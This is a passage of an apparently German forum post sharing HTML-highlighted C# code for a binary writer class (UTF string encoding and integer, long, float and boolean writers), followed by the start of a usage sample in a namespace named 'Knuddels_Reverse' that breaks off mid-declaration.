/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)((</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)((</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;&nbsp;</span><span style="color: #0000BB">i1&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i1</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">paramString</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0x0001</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0x007F</span><span style="color: #007700">)))&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;&nbsp;</span><span style="color: #0000BB">i1&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i1</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">paramString</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0x0001</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0x007F</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0x07FF</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">0xE0&nbsp;</span><span style="color: #007700">|&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0x0F</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">0x80&nbsp;</span><span style="color: #007700">|&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">0x80&nbsp;</span><span style="color: #007700">|&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">0xC0&nbsp;</span><span style="color: #007700">|&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0x1F</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">0x80&nbsp;</span><span style="color: #007700">|&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;Write</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteChars</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">WriteChar</span><span style="color: #007700">((int)</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteShort</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteChar</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteInt</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">24</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">16</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteLong</span><span style="color: #007700">(</span><span style="color: #0000BB">long&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">56</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">48</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">40</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">32</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">24</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">16</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteFloat</span><span style="color: #007700">(</span><span style="color: #0000BB">float&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">WriteInt</span><span style="color: #007700">(</span><span style="color: #0000BB">BitConverter</span><span style="color: #007700">.</span><span style="color: #0000BB">ToInt32</span><span style="color: #007700">(</span><span style="color: #0000BB">BitConverter</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">value</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteDouble</span><span style="color: #007700">(</span><span style="color: #0000BB">double&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">WriteLong</span><span style="color: #007700">(</span><span style="color: #0000BB">BitConverter</span><span style="color: #007700">.</span><span style="color: #0000BB">DoubleToInt64Bits</span><span style="color: #007700">(</span><span style="color: #0000BB">value</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteBoolean</span><span style="color: #007700">(</span><span style="color: #0000BB">bool&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Ist zwar vielleicht nicht überall sauber, but wayne.<br />
<br />
Hier ein Sample, wie man das Ganze überhaupt benutzt:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br />using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Knuddels_Reverse<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;protocolString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: 